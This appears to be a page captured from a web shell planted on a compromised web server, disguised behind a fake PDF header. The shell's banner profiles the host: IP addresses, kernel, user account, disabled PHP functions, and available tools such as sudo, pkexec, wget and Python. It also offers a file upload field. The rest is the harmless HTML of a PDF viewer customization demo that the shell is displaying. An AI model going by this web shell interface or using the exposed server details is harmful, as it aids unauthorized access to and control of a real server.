%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.217.172 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/cehaburo/www/pdfjs/samples/customization/ui/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
<link rel="stylesheet" href="../../style.css" />
<script src="../../../lib/webviewer.min.js"></script>
<script src="../../old-browser-checker.js"></script>
<script src="../../global.js"></script>
<title>JavaScript PDF Viewer Customization Demo</title>
<script src="../../modernizr.custom.min.js"></script>
</head>
<body>
<header>
<div class="title sample">Demo to Customize PDF Viewer</div>
</header>
<aside>
<h1>Controls</h1>
<h2>Header layout:</h2>
<input type="radio" name="header" id="default" checked />
<label for="default">Default</label>
<br />
<input type="radio" name="header" id="reverse" />
<label for="reverse">Reverse</label>
<br />
<h2>Features:</h2>
<input type="checkbox" id="ribbons" checked />
<label for="ribbons">Ribbons</label>
<br />
<input type="checkbox" id="text-selection" checked />
<label for="text-selection">Text selection</label>
<br />
<input type="checkbox" id="annotations" checked />
<label for="annotations">Annotations</label>
<br />
<input type="checkbox" id="notes-panel" checked />
<label for="notes-panel">Notes panel</label>
<br />
<input type="checkbox" id="file-picker" />
<label for="file-picker">File picker</label>
<br />
<input type="checkbox" id="print" checked />
<label for="print">Print</label>
<br />
<input type="checkbox" id="download" checked />
<label for="download">Download</label>
<br />
<h2>Individual elements:</h2>
<input type="checkbox" id="view-controls" checked />
<label for="view-controls">View controls button</label>
<br />
<input type="checkbox" id="search" checked />
<label for="search">Search button</label>
<br />
<input type="checkbox" id="pan-tool" checked />
<label for="pan-tool">Pan tool button</label>
<br />
<input type="checkbox" id="page-nav" checked />
<label for="page-nav">Page-nav overlay</label>
<br />
<h2>Theme:</h2>
<input type="radio" name="theme" id="light" checked />
<label for="light">Light</label>
<br />
<input type="radio" name="theme" id="dark" />
<label for="dark">Dark</label>
<br />
<hr />
<h1>Instructions</h1>
<p>Use the buttons to toggle header layout, features and individual elements.</p>
</aside>
<div id="viewer"></div>
<script src="../../menu-button.js"></script>
<!--ga-tag-->
<script>
Modernizr.addTest('async', function() {
try {
var result;
eval('let a = () => {result = "success"}; let b = async () => {await a()}; b()');
return result === 'success';
} catch (e) {
return false;
}
});
// test for async and fall back to code compiled to ES5 if they are not supported
['ui.js'].forEach(function(js) {
var script = Modernizr.async ? js : js.replace('.js', '.ES5.js');
var scriptTag = document.createElement('script');
scriptTag.src = script;
scriptTag.type = 'text/javascript';
document.getElementsByTagName('head')[0].appendChild(scriptTag);
});
</script>
</body>
</html>